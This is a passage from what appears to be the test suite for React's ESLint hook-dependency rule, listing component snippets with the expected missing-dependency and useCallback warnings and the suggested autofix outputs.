}, []);\n          useLayoutEffect(() => {\n            return Store.subscribe(handleNext2);\n          }, []);\n          useMemo(() => {\n            return Store.subscribe(handleNext3);\n          }, []);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has a missing dependency: 'handleNext1'. \" +\n            'Either include it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [handleNext1]',\n              output: normalizeIndent`\n                function MyComponent(props) {\n                  let [, setState] = useState();\n                  let [, dispatch] = React.useReducer();\n                  let taint = props.foo;\n\n                  function handleNext1(value) {\n                    let value2 = value * taint;\n                    setState(value2);\n                    console.log('hello');\n                  }\n                  const handleNext2 = (value) => {\n                    setState(taint(value));\n                    console.log('hello');\n                  };\n                  let handleNext3 = function(value) {\n                    setTimeout(() => console.log(taint));\n                    dispatch({ type: 'x', value });\n                  };\n                  useEffect(() => {\n                    return Store.subscribe(handleNext1);\n                  }, [handleNext1]);\n                  useLayoutEffect(() => {\n                    return Store.subscribe(handleNext2);\n                  }, []);\n                  useMemo(() => {\n                    return Store.subscribe(handleNext3);\n                  }, []);\n                }\n              `,\n            },\n          ],\n        },\n        {\n          message:\n            \"React Hook useLayoutEffect has a missing dependency: 'handleNext2'. \" +\n            'Either include it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [handleNext2]',\n              output: normalizeIndent`\n                function MyComponent(props) {\n                  let [, setState] = useState();\n                  let [, dispatch] = React.useReducer();\n                  let taint = props.foo;\n\n                  function handleNext1(value) {\n                    let value2 = value * taint;\n                    setState(value2);\n                    console.log('hello');\n                  }\n                  const handleNext2 = (value) => {\n                    setState(taint(value));\n                    console.log('hello');\n                  };\n                  let handleNext3 = function(value) {\n                    setTimeout(() => console.log(taint));\n                    dispatch({ type: 'x', value });\n                  };\n                  useEffect(() => {\n                    return Store.subscribe(handleNext1);\n                  }, []);\n                  useLayoutEffect(() => {\n                    return Store.subscribe(handleNext2);\n                  }, [handleNext2]);\n                  useMemo(() => {\n                    return Store.subscribe(handleNext3);\n                  }, []);\n                }\n              `,\n            },\n          ],\n        },\n        {\n          message:\n            \"React Hook useMemo has a missing dependency: 'handleNext3'. \" +\n            'Either include it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [handleNext3]',\n              output: normalizeIndent`\n                function MyComponent(props) {\n                  let [, setState] = useState();\n                  let [, dispatch] = React.useReducer();\n                  let taint = props.foo;\n\n                  function handleNext1(value) {\n                    let value2 = value * taint;\n                    setState(value2);\n                    console.log('hello');\n                  }\n                  const handleNext2 = (value) => {\n                    setState(taint(value));\n                    console.log('hello');\n                  };\n                  let handleNext3 = function(value) {\n                    setTimeout(() => console.log(taint));\n                    dispatch({ type: 'x', value });\n                  };\n                  useEffect(() => {\n                    return Store.subscribe(handleNext1);\n                  }, []);\n                  useLayoutEffect(() => {\n                    return Store.subscribe(handleNext2);\n                  }, []);\n                  useMemo(() => {\n                    return Store.subscribe(handleNext3);\n                  }, [handleNext3]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      // Regression test\n      code: normalizeIndent`\n        function MyComponent(props) {\n          let [, setState] = useState();\n          let [, dispatch] = React.useReducer();\n          let taint = props.foo;\n\n          // Shouldn't affect anything\n          function handleChange() {}\n\n          function handleNext1(value) {\n            let value2 = value * taint;\n            setState(value2);\n            console.log('hello');\n          }\n          const handleNext2 = (value) => {\n            setState(taint(value));\n            console.log('hello');\n          };\n          let handleNext3 = function(value) {\n            console.log(taint);\n            dispatch({ type: 'x', value });\n          };\n          useEffect(() => {\n            return Store.subscribe(handleNext1);\n          }, []);\n          useLayoutEffect(() => {\n            return Store.subscribe(handleNext2);\n          }, []);\n          useMemo(() => {\n            return Store.subscribe(handleNext3);\n          }, []);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has a missing dependency: 'handleNext1'. \" +\n            'Either include it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [handleNext1]',\n              output: normalizeIndent`\n                function MyComponent(props) {\n                  let [, setState] = useState();\n                  let [, dispatch] = React.useReducer();\n                  let taint = props.foo;\n\n                  // Shouldn't affect anything\n                  function handleChange() {}\n\n                  function handleNext1(value) {\n                    let value2 = value * taint;\n                    setState(value2);\n                    console.log('hello');\n                  }\n                  const handleNext2 = (value) => {\n                    setState(taint(value));\n                    console.log('hello');\n                  };\n                  let handleNext3 = function(value) {\n                    console.log(taint);\n                    dispatch({ type: 'x', value });\n                  };\n                  useEffect(() => {\n                    return Store.subscribe(handleNext1);\n                  }, [handleNext1]);\n                  useLayoutEffect(() => {\n                    return Store.subscribe(handleNext2);\n                  }, []);\n                  useMemo(() => {\n                    return Store.subscribe(handleNext3);\n                  }, []);\n                }\n              `,\n            },\n          ],\n        },\n        {\n          message:\n            \"React Hook useLayoutEffect has a missing dependency: 'handleNext2'. \" +\n            'Either include it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [handleNext2]',\n              output: normalizeIndent`\n                function MyComponent(props) {\n                  let [, setState] = useState();\n                  let [, dispatch] = React.useReducer();\n                  let taint = props.foo;\n\n                  // Shouldn't affect anything\n                  function handleChange() {}\n\n                  function handleNext1(value) {\n                    let value2 = value * taint;\n                    setState(value2);\n                    console.log('hello');\n                  }\n                  const handleNext2 = (value) => {\n                    setState(taint(value));\n                    console.log('hello');\n                  };\n                  let handleNext3 = function(value) {\n                    console.log(taint);\n                    dispatch({ type: 'x', value });\n                  };\n                  useEffect(() => {\n                    return Store.subscribe(handleNext1);\n                  }, []);\n                  useLayoutEffect(() => {\n                    return Store.subscribe(handleNext2);\n                  }, [handleNext2]);\n                  useMemo(() => {\n                    return Store.subscribe(handleNext3);\n                  }, []);\n                }\n              `,\n            },\n          ],\n        },\n        {\n          message:\n            \"React Hook useMemo has a missing dependency: 'handleNext3'. \" +\n            'Either include it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [handleNext3]',\n              output: normalizeIndent`\n                function MyComponent(props) {\n                  let [, setState] = useState();\n                  let [, dispatch] = React.useReducer();\n                  let taint = props.foo;\n\n                  // Shouldn't affect anything\n                  function handleChange() {}\n\n                  function handleNext1(value) {\n                    let value2 = value * taint;\n                    setState(value2);\n                    console.log('hello');\n                  }\n                  const handleNext2 = (value) => {\n                    setState(taint(value));\n                    console.log('hello');\n                  };\n                  let handleNext3 = function(value) {\n                    console.log(taint);\n                    dispatch({ type: 'x', value });\n                  };\n                  useEffect(() => {\n                    return Store.subscribe(handleNext1);\n                  }, []);\n                  useLayoutEffect(() => {\n                    return Store.subscribe(handleNext2);\n                  }, []);\n                  useMemo(() => {\n                    return Store.subscribe(handleNext3);\n                  }, [handleNext3]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      // Regression test\n      code: normalizeIndent`\n        function MyComponent(props) {\n          let [, setState] = useState();\n          let [, dispatch] = React.useReducer();\n          let taint = props.foo;\n\n          // Shouldn't affect anything\n          const handleChange = () => {};\n\n          function handleNext1(value) {\n            let value2 = value * taint;\n            setState(value2);\n            console.log('hello');\n          }\n          const handleNext2 = (value) => {\n            setState(taint(value));\n            console.log('hello');\n          };\n          let handleNext3 = function(value) {\n            console.log(taint);\n            dispatch({ type: 'x', value });\n          };\n          useEffect(() => {\n            return Store.subscribe(handleNext1);\n          }, []);\n          useLayoutEffect(() => {\n            return Store.subscribe(handleNext2);\n          }, []);\n          useMemo(() => {\n            return Store.subscribe(handleNext3);\n          }, []);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has a missing dependency: 'handleNext1'. \" +\n            'Either include it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [handleNext1]',\n              output: normalizeIndent`\n                function MyComponent(props) {\n                  let [, setState] = useState();\n                  let [, dispatch] = React.useReducer();\n                  let taint = props.foo;\n\n                  // Shouldn't affect anything\n                  const handleChange = () => {};\n\n                  function handleNext1(value) {\n                    let value2 = value * taint;\n                    setState(value2);\n                    console.log('hello');\n                  }\n                  const handleNext2 = (value) => {\n                    setState(taint(value));\n                    console.log('hello');\n                  };\n                  let handleNext3 = function(value) {\n                    console.log(taint);\n                    dispatch({ type: 'x', value });\n                  };\n                  useEffect(() => {\n                    return Store.subscribe(handleNext1);\n                  }, [handleNext1]);\n                  useLayoutEffect(() => {\n                    return Store.subscribe(handleNext2);\n                  }, []);\n                  useMemo(() => {\n                    return Store.subscribe(handleNext3);\n                  }, []);\n                }\n              `,\n            },\n          ],\n        },\n        {\n          message:\n            \"React Hook useLayoutEffect has a missing dependency: 'handleNext2'. \" +\n            'Either include it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [handleNext2]',\n              output: normalizeIndent`\n                function MyComponent(props) {\n                  let [, setState] = useState();\n                  let [, dispatch] = React.useReducer();\n                  let taint = props.foo;\n\n                  // Shouldn't affect anything\n                  const handleChange = () => {};\n\n                  function handleNext1(value) {\n                    let value2 = value * taint;\n                    setState(value2);\n                    console.log('hello');\n                  }\n                  const handleNext2 = (value) => {\n                    setState(taint(value));\n                    console.log('hello');\n                  };\n                  let handleNext3 = function(value) {\n                    console.log(taint);\n                    dispatch({ type: 'x', value });\n                  };\n                  useEffect(() => {\n                    return Store.subscribe(handleNext1);\n                  }, []);\n                  useLayoutEffect(() => {\n                    return Store.subscribe(handleNext2);\n                  }, [handleNext2]);\n                  useMemo(() => {\n                    return Store.subscribe(handleNext3);\n                  }, []);\n                }\n              `,\n            },\n          ],\n        },\n        {\n          message:\n            \"React Hook useMemo has a missing dependency: 'handleNext3'. \" +\n            'Either include it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [handleNext3]',\n              output: normalizeIndent`\n                function MyComponent(props) {\n                  let [, setState] = useState();\n                  let [, dispatch] = React.useReducer();\n                  let taint = props.foo;\n\n                  // Shouldn't affect anything\n                  const handleChange = () => {};\n\n                  function handleNext1(value) {\n                    let value2 = value * taint;\n                    setState(value2);\n                    console.log('hello');\n                  }\n                  const handleNext2 = (value) => {\n                    setState(taint(value));\n                    console.log('hello');\n                  };\n                  let handleNext3 = function(value) {\n                    console.log(taint);\n                    dispatch({ type: 'x', value });\n                  };\n                  useEffect(() => {\n                    return Store.subscribe(handleNext1);\n                  }, []);\n                  useLayoutEffect(() => {\n                    return Store.subscribe(handleNext2);\n                  }, []);\n                  useMemo(() => {\n                    return Store.subscribe(handleNext3);\n                  }, [handleNext3]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent(props) {\n          let [, setState] = useState();\n\n          function handleNext(value) {\n            setState(value);\n          }\n\n          useEffect(() => {\n            return Store.subscribe(handleNext);\n          }, [handleNext]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            `The 'handleNext' function makes the dependencies of ` +\n            `useEffect Hook (at line 11) change on every render. ` +\n            `Move it inside the useEffect callback. Alternatively, ` +\n            `wrap the definition of 'handleNext' in its own useCallback() Hook.`,\n          // Not gonna fix a function definition\n          // because it's not always safe due to hoisting.\n          suggestions: undefined,\n        },\n      ],\n    },\n    {\n      // Even if the function only references static values,\n      // once you specify it in deps, it will invalidate them.\n      code: normalizeIndent`\n        function MyComponent(props) {\n          let [, setState] = useState();\n\n          const handleNext = (value) => {\n            setState(value);\n          };\n\n          useEffect(() => {\n            return Store.subscribe(handleNext);\n          }, [handleNext]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            `The 'handleNext' function makes the dependencies of ` +\n            `useEffect Hook (at line 11) change on every render. ` +\n            `Move it inside the useEffect callback. Alternatively, ` +\n            `wrap the definition of 'handleNext' in its own useCallback() Hook.`,\n          // We don't fix moving (too invasive). But that's the suggested fix\n          // when only effect uses this function. Otherwise, we'd useCallback.\n          suggestions: undefined,\n        },\n      ],\n    },\n    {\n      // Even if the function only references static values,\n      // once you specify it in deps, it will invalidate them.\n      // However, we can't suggest moving handleNext into the\n      // effect because it is *also* used outside of it.\n      // So our suggestion is useCallback().\n      code: normalizeIndent`\n        function MyComponent(props) {\n          let [, setState] = useState();\n\n          const handleNext = (value) => {\n            setState(value);\n          };\n\n          useEffect(() => {\n            return Store.subscribe(handleNext);\n          }, [handleNext]);\n\n          return <div onClick={handleNext} />;\n        }\n      `,\n      errors: [\n        {\n          message:\n            `The 'handleNext' function makes the dependencies of ` +\n            `useEffect Hook (at line 11) change on every render. ` +\n            `To fix this, wrap the definition of 'handleNext' in its own useCallback() Hook.`,\n          // We fix this one with useCallback since it's\n          // the easy fix and you can't just move it into effect.\n          suggestions: [\n            {\n              desc: \"Wrap the definition of 'handleNext' in its own useCallback() Hook.\",\n              output: normalizeIndent`\n                function MyComponent(props) {\n                  let [, setState] = useState();\n\n                  const handleNext = useCallback((value) => {\n                    setState(value);\n                  });\n\n                  useEffect(() => {\n                    return Store.subscribe(handleNext);\n                  }, [handleNext]);\n\n                  return <div onClick={handleNext} />;\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent(props) {\n          function handleNext1() {\n            console.log('hello');\n          }\n          const handleNext2 = () => {\n            console.log('hello');\n          };\n          let handleNext3 = function() {\n            console.log('hello');\n          };\n          useEffect(() => {\n            return Store.subscribe(handleNext1);\n          }, [handleNext1]);\n          useLayoutEffect(() => {\n            return Store.subscribe(handleNext2);\n          }, [handleNext2]);\n          useMemo(() => {\n            return Store.subscribe(handleNext3);\n          }, [handleNext3]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"The 'handleNext1' function makes the dependencies of useEffect Hook \" +\n            '(at line 14) change on every render. Move it inside the useEffect callback. ' +\n            \"Alternatively, wrap the definition of 'handleNext1' in its own useCallback() Hook.\",\n          suggestions: undefined,\n        },\n        {\n          message:\n            \"The 'handleNext2' function makes the dependencies of useLayoutEffect Hook \" +\n            '(at line 17) change on every render. Move it inside the useLayoutEffect callback. ' +\n            \"Alternatively, wrap the definition of 'handleNext2' in its own useCallback() Hook.\",\n          suggestions: undefined,\n        },\n        {\n          message:\n            \"The 'handleNext3' function makes the dependencies of useMemo Hook \" +\n            '(at line 20) change on every render. Move it inside the useMemo callback. ' +\n            \"Alternatively, wrap the definition of 'handleNext3' in its own useCallback() Hook.\",\n          suggestions: undefined,\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent(props) {\n          function handleNext1() {\n            console.log('hello');\n          }\n          const handleNext2 = () => {\n            console.log('hello');\n          };\n          let handleNext3 = function() {\n            console.log('hello');\n          };\n          useEffect(() => {\n            handleNext1();\n            return Store.subscribe(() => handleNext1());\n          }, [handleNext1]);\n          useLayoutEffect(() => {\n            handleNext2();\n            return Store.subscribe(() => handleNext2());\n          }, [handleNext2]);\n          useMemo(() => {\n            handleNext3();\n            return Store.subscribe(() => handleNext3());\n          }, [handleNext3]);\n        }\n      `,\n      // Suggestions don't wrap into useCallback here\n      // because they are only referenced by effect itself.\n      errors: [\n        {\n          message:\n            \"The 'handleNext1' function makes the dependencies of useEffect Hook \" +\n            '(at line 15) change on every render. Move it inside the useEffect callback. ' +\n            \"Alternatively, wrap the definition of 'handleNext1' in its own useCallback() Hook.\",\n          suggestions: undefined,\n        },\n        {\n          message:\n            \"The 'handleNext2' function makes the dependencies of useLayoutEffect Hook \" +\n            '(at line 19) change on every render. Move it inside the useLayoutEffect callback. ' +\n            \"Alternatively, wrap the definition of 'handleNext2' in its own useCallback() Hook.\",\n          suggestions: undefined,\n        },\n        {\n          message:\n            \"The 'handleNext3' function makes the dependencies of useMemo Hook \" +\n            '(at line 23) change on every render. Move it inside the useMemo callback. ' +\n            \"Alternatively, wrap the definition of 'handleNext3' in its own useCallback() Hook.\",\n          suggestions: undefined,\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent(props) {\n          function handleNext1() {\n            console.log('hello');\n          }\n          const handleNext2 = () => {\n            console.log('hello');\n          };\n          let handleNext3 = function() {\n            console.log('hello');\n          };\n          useEffect(() => {\n            handleNext1();\n            return Store.subscribe(() => handleNext1());\n          }, [handleNext1]);\n          useLayoutEffect(() => {\n            handleNext2();\n            return Store.subscribe(() => handleNext2());\n          }, [handleNext2]);\n          useMemo(() => {\n            handleNext3();\n            return Store.subscribe(() => handleNext3());\n          }, [handleNext3]);\n          return (\n            <div\n              onClick={() => {\n                handleNext1();\n                setTimeout(handleNext2);\n                setTimeout(() => {\n                  handleNext3();\n                });\n              }}\n            />\n          );\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"The 'handleNext1' function makes the dependencies of useEffect Hook \" +\n            '(at line 15) change on every render. To fix this, wrap the ' +\n            \"definition of 'handleNext1' in its own useCallback() Hook.\",\n          suggestions: undefined,\n        },\n        {\n          message:\n            \"The 'handleNext2' function makes the dependencies of useLayoutEffect Hook \" +\n            '(at line 19) change on every render. To fix this, wrap the ' +\n            \"definition of 'handleNext2' in its own useCallback() Hook.\",\n          // Suggestion wraps into useCallback where possible (variables only)\n          // because they are only referenced outside the effect.\n          suggestions: [\n            {\n              desc: \"Wrap the definition of 'handleNext2' in its own useCallback() Hook.\",\n              output: normalizeIndent`\n                function MyComponent(props) {\n                  function handleNext1() {\n                    console.log('hello');\n                  }\n                  const handleNext2 = useCallback(() => {\n                    console.log('hello');\n                  });\n                  let handleNext3 = function() {\n                    console.log('hello');\n                  };\n                  useEffect(() => {\n                    handleNext1();\n                    return Store.subscribe(() => handleNext1());\n                  }, [handleNext1]);\n                  useLayoutEffect(() => {\n                    handleNext2();\n                    return Store.subscribe(() => handleNext2());\n                  }, [handleNext2]);\n                  useMemo(() => {\n                    handleNext3();\n                    return Store.subscribe(() => handleNext3());\n                  }, [handleNext3]);\n                  return (\n                    <div\n                      onClick={() => {\n                        handleNext1();\n                        setTimeout(handleNext2);\n                        setTimeout(() => {\n                          handleNext3();\n                        });\n                      }}\n                    />\n                  );\n                }\n              `,\n            },\n          ],\n        },\n        {\n          message:\n            \"The 'handleNext3' function makes the dependencies of useMemo Hook \" +\n            '(at line 23) change on every render. To fix this, wrap the ' +\n            \"definition of 'handleNext3' in its own useCallback() Hook.\",\n          // Autofix wraps into useCallback where possible (variables only)\n          // because they are only referenced outside the effect.\n          suggestions: [\n            {\n              desc: \"Wrap the definition of 'handleNext3' in its own useCallback() Hook.\",\n              output: normalizeIndent`\n                function MyComponent(props) {\n                  function handleNext1() {\n                    console.log('hello');\n                  }\n                  const handleNext2 = () => {\n                    console.log('hello');\n                  };\n                  let handleNext3 = useCallback(function() {\n                    console.log('hello');\n                  });\n                  useEffect(() => {\n                    handleNext1();\n                    return Store.subscribe(() => handleNext1());\n                  }, [handleNext1]);\n                  useLayoutEffect(() => {\n                    handleNext2();\n                    return Store.subscribe(() => handleNext2());\n                  }, [handleNext2]);\n                  useMemo(() => {\n                    handleNext3();\n                    return Store.subscribe(() => handleNext3());\n                  }, [handleNext3]);\n                  return (\n                    <div\n                      onClick={() => {\n                        handleNext1();\n                        setTimeout(handleNext2);\n                        setTimeout(() => {\n                          handleNext3();\n                        });\n                      }}\n                    />\n                  );\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent(props) {\n          const handleNext1 = () => {\n            console.log('hello');\n          };\n          function handleNext2() {\n            console.log('hello');\n          }\n          useEffect(() => {\n            return Store.subscribe(handleNext1);\n            return Store.subscribe(handleNext2);\n          }, [handleNext1, handleNext2]);\n          useEffect(() => {\n            return Store.subscribe(handleNext1);\n            return Store.subscribe(handleNext2);\n          }, [handleNext1, handleNext2]);\n        }\n      `,\n      // Normally we'd suggest moving handleNext inside an\n      // effect. But it's used by more than one. So we\n      // suggest useCallback() and use it for the autofix\n      // where possible (variable but not declaration).\n      // TODO: we could coalesce messages for the same function if it affects multiple Hooks.\n      errors: [\n        {\n          message:\n            \"The 'handleNext1' function makes the dependencies of useEffect Hook \" +\n            '(at line 12) change on every render. To fix this, wrap the ' +\n            \"definition of 'handleNext1' in its own useCallback() Hook.\",\n          suggestions: [\n            {\n              desc: \"Wrap the definition of 'handleNext1' in its own useCallback() Hook.\",\n              output: normalizeIndent`\n                function MyComponent(props) {\n                  const handleNext1 = useCallback(() => {\n                    console.log('hello');\n                  });\n                  function handleNext2() {\n                    console.log('hello');\n                  }\n                  useEffect(() => {\n                    return Store.subscribe(handleNext1);\n                    return Store.subscribe(handleNext2);\n                  }, [handleNext1, handleNext2]);\n                  useEffect(() => {\n                    return Store.subscribe(handleNext1);\n                    return Store.subscribe(handleNext2);\n                  }, [handleNext1, handleNext2]);\n                }\n              `,\n            },\n          ],\n        },\n        {\n          message:\n            \"The 'handleNext1' function makes the dependencies of useEffect Hook \" +\n            '(at line 16) change on every render. To fix this, wrap the ' +\n            \"definition of 'handleNext1' in its own useCallback() Hook.\",\n          suggestions: [\n            {\n              desc: \"Wrap the definition of 'handleNext1' in its own useCallback() Hook.\",\n              output: normalizeIndent`\n                function MyComponent(props) {\n                  const handleNext1 = useCallback(() => {\n                    console.log('hello');\n                  });\n                  function handleNext2() {\n                    console.log('hello');\n                  }\n                  useEffect(() => {\n                    return Store.subscribe(handleNext1);\n                    return Store.subscribe(handleNext2);\n                  }, [handleNext1, handleNext2]);\n                  useEffect(() => {\n                    return Store.subscribe(handleNext1);\n                    return Store.subscribe(handleNext2);\n                  }, [handleNext1, handleNext2]);\n                }\n              `,\n            },\n          ],\n        },\n        {\n          message:\n            \"The 'handleNext2' function makes the dependencies of useEffect Hook \" +\n            '(at line 12) change on every render. To fix this, wrap the ' +\n            \"definition of 'handleNext2' in its own useCallback() Hook.\",\n          suggestions: undefined,\n        },\n        {\n          message:\n            \"The 'handleNext2' function makes the dependencies of useEffect Hook \" +\n            '(at line 16) change on every render. To fix this, wrap the ' +\n            \"definition of 'handleNext2' in its own useCallback() Hook.\",\n          suggestions: undefined,\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent(props) {\n          let handleNext = () => {\n            console.log('hello');\n          };\n          if (props.foo) {\n            handleNext = () => {\n              console.log('hello');\n            };\n          }\n          useEffect(() => {\n            return Store.subscribe(handleNext);\n          }, [handleNext]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"The 'handleNext' function makes the dependencies of useEffect Hook \" +\n            '(at line 13) change on every render. To fix this, wrap the definition of ' +\n            \"'handleNext' in its own useCallback() Hook.\",\n          // Normally we'd suggest moving handleNext inside an\n          // effect. But it's used more than once.\n          // TODO: our autofix here isn't quite sufficient because\n          // it only wraps the first definition. But seems ok.\n          suggestions: [\n            {\n              desc: \"Wrap the definition of 'handleNext' in its own useCallback() Hook.\",\n              output: normalizeIndent`\n                function MyComponent(props) {\n                  let handleNext = useCallback(() => {\n                    console.log('hello');\n                  });\n                  if (props.foo) {\n                    handleNext = () => {\n                      console.log('hello');\n                    };\n                  }\n                  useEffect(() => {\n                    return Store.subscribe(handleNext);\n                  }, [handleNext]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent(props) {\n          let [, setState] = useState();\n          let taint = props.foo;\n\n          function handleNext(value) {\n            let value2 = value * taint;\n            setState(value2);\n            console.log('hello');\n          }\n\n          useEffect(() => {\n            return Store.subscribe(handleNext);\n          }, [handleNext]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            `The 'handleNext' function makes the dependencies of ` +\n            `useEffect Hook (at line 14) change on every render. ` +\n            `Move it inside the useEffect callback. Alternatively, wrap the ` +\n            `definition of 'handleNext' in its own useCallback() Hook.`,\n          suggestions: undefined,\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function Counter() {\n          let [count, setCount] = useState(0);\n\n          useEffect(() => {\n            let id = setInterval(() => {\n              setCount(count + 1);\n            }, 1000);\n            return () => clearInterval(id);\n          }, []);\n\n          return <h1>{count}</h1>;\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has a missing dependency: 'count'. \" +\n            'Either include it or remove the dependency array. ' +\n            `You can also do a functional update 'setCount(c => ...)' if you ` +\n            `only need 'count' in the 'setCount' call.`,\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [count]',\n              output: normalizeIndent`\n                function Counter() {\n                  let [count, setCount] = useState(0);\n\n                  useEffect(() => {\n                    let id = setInterval(() => {\n                      setCount(count + 1);\n                    }, 1000);\n                    return () => clearInterval(id);\n                  }, [count]);\n\n                  return <h1>{count}</h1>;\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function Counter() {\n          let [count, setCount] = useState(0);\n          let [increment, setIncrement] = useState(0);\n\n          useEffect(() => {\n            let id = setInterval(() => {\n              setCount(count + increment);\n            }, 1000);\n            return () => clearInterval(id);\n          }, []);\n\n          return <h1>{count}</h1>;\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has missing dependencies: 'count' and 'increment'. \" +\n            'Either include them or remove the dependency array. ' +\n            `You can also do a functional update 'setCount(c => ...)' if you ` +\n            `only need 'count' in the 'setCount' call.`,\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [count, increment]',\n              output: normalizeIndent`\n                function Counter() {\n                  let [count, setCount] = useState(0);\n                  let [increment, setIncrement] = useState(0);\n\n                  useEffect(() => {\n                    let id = setInterval(() => {\n                      setCount(count + increment);\n                    }, 1000);\n                    return () => clearInterval(id);\n                  }, [count, increment]);\n\n                  return <h1>{count}</h1>;\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function Counter() {\n          let [count, setCount] = useState(0);\n          let [increment, setIncrement] = useState(0);\n\n          useEffect(() => {\n            let id = setInterval(() => {\n              setCount(count => count + increment);\n            }, 1000);\n            return () => clearInterval(id);\n          }, []);\n\n          return <h1>{count}</h1>;\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has a missing dependency: 'increment'. \" +\n            'Either include it or remove the dependency array. ' +\n            `You can also replace multiple useState variables with useReducer ` +\n            `if 'setCount' needs the current value of 'increment'.`,\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [increment]',\n              output: normalizeIndent`\n                function Counter() {\n                  let [count, setCount] = useState(0);\n                  let [increment, setIncrement] = useState(0);\n\n                  useEffect(() => {\n                    let id = setInterval(() => {\n                      setCount(count => count + increment);\n                    }, 1000);\n                    return () => clearInterval(id);\n                  }, [increment]);\n\n                  return <h1>{count}</h1>;\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function Counter() {\n          let [count, setCount] = useState(0);\n          let increment = useCustomHook();\n\n          useEffect(() => {\n            let id = setInterval(() => {\n              setCount(count => count + increment);\n            }, 1000);\n            return () => clearInterval(id);\n          }, []);\n\n          return <h1>{count}</h1>;\n        }\n      `,\n      // This intentionally doesn't show the reducer message\n      // because we don't know if it's safe for it to close over a value.\n      // We only show it for state variables (and possibly props).\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has a missing dependency: 'increment'. \" +\n            'Either include it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [increment]',\n              output: normalizeIndent`\n                function Counter() {\n                  let [count, setCount] = useState(0);\n                  let increment = useCustomHook();\n\n                  useEffect(() => {\n                    let id = setInterval(() => {\n                      setCount(count => count + increment);\n                    }, 1000);\n                    return () => clearInterval(id);\n                  }, [increment]);\n\n                  return <h1>{count}</h1>;\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function Counter({ step }) {\n          let [count, setCount] = useState(0);\n\n          function increment(x) {\n            return x + step;\n          }\n\n          useEffect(() => {\n            let id = setInterval(() => {\n              setCount(count => increment(count));\n            }, 1000);\n            return () => clearInterval(id);\n          }, []);\n\n          return <h1>{count}</h1>;\n        }\n      `,\n      // This intentionally doesn't show the reducer message\n      // because we don't know if it's safe for it to close over a value.\n      // We only show it for state variables (and possibly props).\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has a missing dependency: 'increment'. \" +\n            'Either include it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [increment]',\n              output: normalizeIndent`\n                function Counter({ step }) {\n                  let [count, setCount] = useState(0);\n\n                  function increment(x) {\n                    return x + step;\n                  }\n\n                  useEffect(() => {\n                    let id = setInterval(() => {\n                      setCount(count => increment(count));\n                    }, 1000);\n                    return () => clearInterval(id);\n                  }, [increment]);\n\n                  return <h1>{count}</h1>;\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function Counter({ step }) {\n          let [count, setCount] = useState(0);\n\n          function increment(x) {\n            return x + step;\n          }\n\n          useEffect(() => {\n            let id = setInterval(() => {\n              setCount(count => increment(count));\n            }, 1000);\n            return () => clearInterval(id);\n          }, [increment]);\n\n          return <h1>{count}</h1>;\n        }\n      `,\n      errors: [\n        {\n          message:\n            `The 'increment' function makes the dependencies of useEffect Hook ` +\n            `(at line 14) change on every render. Move it inside the useEffect callback. ` +\n            `Alternatively, wrap the definition of \\'increment\\' in its own ` +\n            `useCallback() Hook.`,\n          suggestions: undefined,\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function Counter({ increment }) {\n          let [count, setCount] = useState(0);\n\n          useEffect(() => {\n            let id = setInterval(() => {\n              setCount(count => count + increment);\n            }, 1000);\n            return () => clearInterval(id);\n          }, []);\n\n          return <h1>{count}</h1>;\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has a missing dependency: 'increment'. \" +\n            'Either include it or remove the dependency array. ' +\n            `If 'setCount' needs the 